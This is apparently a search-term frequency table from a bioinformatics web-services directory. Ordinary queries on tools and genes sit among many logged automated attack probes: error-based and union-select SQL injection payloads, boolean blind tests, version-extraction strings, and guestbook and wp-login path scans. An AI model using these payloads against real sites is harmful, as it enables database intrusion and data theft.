| 1' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| repeat999999.1 union select unhex(hex(version())) -- and 1=1 |
3 |
| author id'" |
3 |
| author id'"'a=0 |
3 |
| biodiversity |
3 |
| integ' |
3 |
| -4420 union all select 57,57-- hved'" |
3 |
| upload |
3 |
| translate |
3 |
| orthologu |
3 |
| phylogenetic analysis |
3 |
| param |
3 |
| node/add/article/gb.php |
3 |
| node/add/article/g_book.cgi |
3 |
| node/add/article/apps/guestbook |
3 |
| node/add/article/gaestebuch.php |
3 |
| node/add/article/guestbook.html |
3 |
| node/add/article/scarbook.php |
3 |
| node/add/article/guestbook.php |
3 |
| node/add/article/album.cgi |
3 |
| node/add/article/default.asp |
3 |
| node/add/article/jax_guestbook.php |
3 |
| node/add/article/aska.cgi |
3 |
| node/add/article/guestbook |
3 |
| node/add/article/ |
3 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) --'" |
3 |
| node/gb.php |
3 |
| node/g_book.cgi |
3 |
| node/apps/guestbook |
3 |
| node/gaestebuch.php |
3 |
| node/guestbook.html |
3 |
| node/scarbook.php |
3 |
| node/guestbook.php |
3 |
| paolo romano |
3 |
| node/album.cgi |
3 |
| node/default.asp |
3 |
| metabolites |
3 |
| node/jax_guestbook.php |
3 |
| node/aska.cgi |
3 |
| gene expression |
3 |
| node/guestbook |
3 |
| node/ |
3 |
| cell line |
3 |
| is'a=0 |
3 |
| getp53mutationsbyids |
3 |
| contact order |
3 |
| binding site protein |
3 |
| format* |
3 |
| http://soap.genome.jp/kegg.wsdl |
3 |
| genomic dna |
3 |
| nomenclature'a=0 |
3 |
| parse_uniprot |
3 |
| bioquali |
3 |
| mining |
3 |
| modeller |
3 |
| uniprot id" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
3 |
| pcr |
3 |
| tmhmm |
3 |
| oligo |
3 |
| peptidelocator |
3 |
| ncbi eutils |
3 |
| predict genes dna sequences |
3 |
| no~ |
3 |
| protein sequence similarity |
3 |
| gm47283 |
2 |
| check and 1=1 |
2 |
| gene search and 1=1 |
2 |
| 1000 and 1=1 |
2 |
| databases human features'a=0 |
2 |
| metatt |
2 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a and 1=1 |
2 |
| protein+services |
2 |
| (select (case when (3710=7967) then 3710 else 3710(select 3710 from information_schema.character_sets) end))'a=0 |
2 |
| fasta (soap) |
2 |
| submit/wp-login.php'a=0 |
2 |
| submit/wp-login.php |
2 |
| sendsmsworld.asmx |
2 |
| codono |
2 |
| file and 1>1" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
2 |
| file and 1>1' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| fasta(soap) |
2 |
| bowtie |
2 |
| file and 1>1 or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| file and 1>199999" union select unhex(hex(version())) -- "x"="x |
2 |
| optional and 1=1 |
2 |
| file and 1>199999' union select unhex(hex(version())) -- 'x'='x |
2 |
| file and 1>1999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| file and 1>1" and "x"="y |
2 |
| file and 1>1" and "x"="x |
2 |
| file and 1>1' and 'x'='y |
2 |
| file and 1>1' and 'x'='x |
2 |
| file and 1>1 and 1>1 |
2 |
| compare+two+sequences |
2 |
| tcctccagcagcgtttatct |
2 |
| scanprosite |
2 |
| file and 1>12121121121212.1 |
2 |
| coffee |
2 |
| velvet |
2 |
| file and 1>1'" |
2 |
| get fasta |
2 |
| rsat |
2 |
| ebi clustalw |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45)-- |
2 |
| search pubmed and 1=1 |
2 |
| imaging" and 1=1 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45)-- |
2 |
| upload" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45)-- |
2 |
| mmul-mir-146b-5p |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45)-- |
2 |
| protein sequence selection |
2 |
| ackn~ or (1,2)=(select%' union all select null,null,null-- saymfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| no~//guestbook.php |
2 |
| creative |
2 |
| molecules |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45)-- |
2 |
| -2244 union all select 57,57,57,57,57-- qtim'a=0 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45)-- |
2 |
| protein data databases'a=0 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45)-- |
2 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char and 1=1 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45)-- |
2 |
| clustal+omega |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45)-- |
2 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.+and+1=1 |
2 |
| wiws |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45)-- |
2 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45)-- |
2 |
| node/add/story |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45)-- |
2 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- ' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45)-- |
2 |
| family'a=0 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45)-- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45)-- |
2 |
| hit"+and+"x"="y |
2 |
| biology |
2 |
| andreas+prlic |
2 |
| linked data and 1=1 |
2 |
| proteins+isoelectric+point+molecular+weight |
2 |
| genes'' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| genes' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
2 |
| mouse |
2 |
| -1119')+union+all+select+57,concat(0x716a7a6271,0x69484542544e6d657a634c717665547064636d71675951644b425641704d6862734f46577a6d4264,0x717a787171),57 |
2 |
| compare your query sequence to dna sequences mapped in, or associated with, plant genomes./license.php |
2 |
| genes'99999" union select unhex(hex(version())) -- "x"="x |
2 |
| repeat'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| hit999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
2 |
| linked |
2 |
| genes'99999' union select unhex(hex(version())) -- 'x'='x |
2 |
| genes'999999.1 union select unhex(hex(version())) -- and 1=1 |
2 |
| 1999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
2 |
| repeat'+and+'x'='x |
2 |
| goviz |
2 |
| genes'" and "x"="y |
2 |
| genes'" and "x"="x |
2 |
| biomoby |
2 |
| genes'' and 'x'='y |
2 |
| genes'' and 'x'='x |
2 |
| get+id'2121121121212.1 |
2 |
| protein drug interaction |
2 |
| genes' and 1>1 |
2 |
| blast prodom |
2 |
| ortho |
2 |
| mutation |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45)-- |
2 |
| genome analysis |
2 |
| taverna |
2 |
| node/add/question |
2 |
| inb |
2 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111'" |
2 |
